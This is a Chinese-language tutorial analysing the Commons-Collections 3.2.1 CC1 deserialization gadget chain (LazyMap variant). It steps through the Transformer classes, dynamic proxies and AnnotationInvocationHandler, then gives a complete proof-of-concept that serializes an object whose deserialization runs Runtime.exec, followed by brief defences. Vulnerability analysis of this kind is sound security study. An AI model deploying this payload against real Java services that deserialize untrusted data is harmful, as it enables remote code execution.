java反序列化之cc1链 LazyMap版
字数 1759 2025-09-01 11:26:17
Java反序列化漏洞分析:CC1链LazyMap版
前置知识
JDK动态代理
JDK动态代理是一种在运行时创建代理对象并定义其行为的机制,常用于AOP、远程调用、权限控制、懒加载等场景。JDK提供了内置的动态代理支持,但只能代理接口。
主要组成部分:
- 接口(Interface):定义需要代理的方法
- 真实实现类(Real Subject):接口的具体实现,包含实际业务逻辑
- InvocationHandler:调用处理器接口,定义代理对象方法被调用时的执行逻辑
- 代理对象(Proxy Object):JDK在运行时生成,实现了目标接口的动态代理类
示例代码:
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
// 定义接口
interface Service {
void doSomething();
}
// 实现类
class RealService implements Service {
public void doSomething() {
System.out.println("RealService doing something...");
}
}
// InvocationHandler 实现
class MyInvocationHandler implements InvocationHandler {
private final Object target;
public MyInvocationHandler(Object target) {
this.target = target;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("Before method call");
Object result = method.invoke(target, args);
System.out.println("After method call");
return result;
}
}
public class Main {
public static void main(String[] args) {
RealService realService = new RealService();
Service proxy = (Service) Proxy.newProxyInstance(
Service.class.getClassLoader(),
new Class[]{Service.class},
new MyInvocationHandler(realService)
);
proxy.doSomething();
}
}
关键点:
InvocationHandler的invoke方法是一个反射调用方法,在反射前后可以添加其他处理逻辑- 调用代理对象执行方法时,会执行
InvocationHandler中的invoke方法
环境准备
- JDK版本:jdk8u65
- Maven版本:maven-3.6.3
- Commons-Collections版本:commons-collections-3.2.1
- 需要将OpenJDK的
sun包拷贝到jdk8u65的src下以便调试
Maven依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
漏洞链分析
1. Transformer组件分析
InvokerTransformer
InvokerTransformer的transform方法具备完整的反射条件:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
// 异常处理
}
}
利用方式:
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
invokerTransformer.transform(runtime);
ConstantTransformer
ConstantTransformer的transform方法直接返回构造函数传入的对象:
public Object transform(Object input) {
return iConstant;
}
ChainedTransformer
ChainedTransformer的transform方法会遍历Transformer数组,将前一个Transformer的结果作为下一个Transformer的输入:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
组合利用:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
2. LazyMap触发点
LazyMap的get方法会调用factory.transform(key):
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = factory.transform(key);
super.map.put(key, value);
return value;
}
return super.map.get(key);
}
利用方式:
HashMap<Object,Object> hashmap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashmap, chainedTransformer);
decorateMap.get(null);
3. AnnotationInvocationHandler连接点
AnnotationInvocationHandler实现了InvocationHandler接口,其invoke方法会调用memberValues.get():
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
// ...
Object result = memberValues.get(member);
// ...
return result;
}
利用方式:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
invocationHandler
);
proxyMap.entrySet();
4. 反序列化入口
AnnotationInvocationHandler的readObject方法会操作memberValues:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// ...
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// ...
}
}
完整利用链
- 反序列化时调用
AnnotationInvocationHandler.readObject() readObject()中调用memberValues.entrySet()- 如果
memberValues是代理对象,会调用InvocationHandler.invoke() invoke()中调用memberValues.get()- 如果
memberValues是LazyMap,会调用factory.transform() factory是ChainedTransformer,执行一系列transform()调用- 最终通过反射执行恶意命令
完整POC
public class LazyFinalEXP {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Map.class},
invocationHandler
);
Object poc = declaredConstructor.newInstance(Target.class, proxyMap);
serialize(poc);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
关键点总结
- Transformer链:通过
ChainedTransformer组合多个Transformer实现反射调用链 - LazyMap触发:
LazyMap.get()方法会调用factory.transform() - 动态代理:通过代理对象触发
InvocationHandler.invoke() - AnnotationInvocationHandler:
invoke()方法调用memberValues.get()readObject()方法触发整个调用链
- 序列化入口:
AnnotationInvocationHandler的readObject()是反序列化的起点
防御措施
- 升级Commons-Collections到安全版本(3.2.2+)
- 使用JEP 290限制反序列化类
- 使用安全管理器限制危险操作
- 避免反序列化不可信数据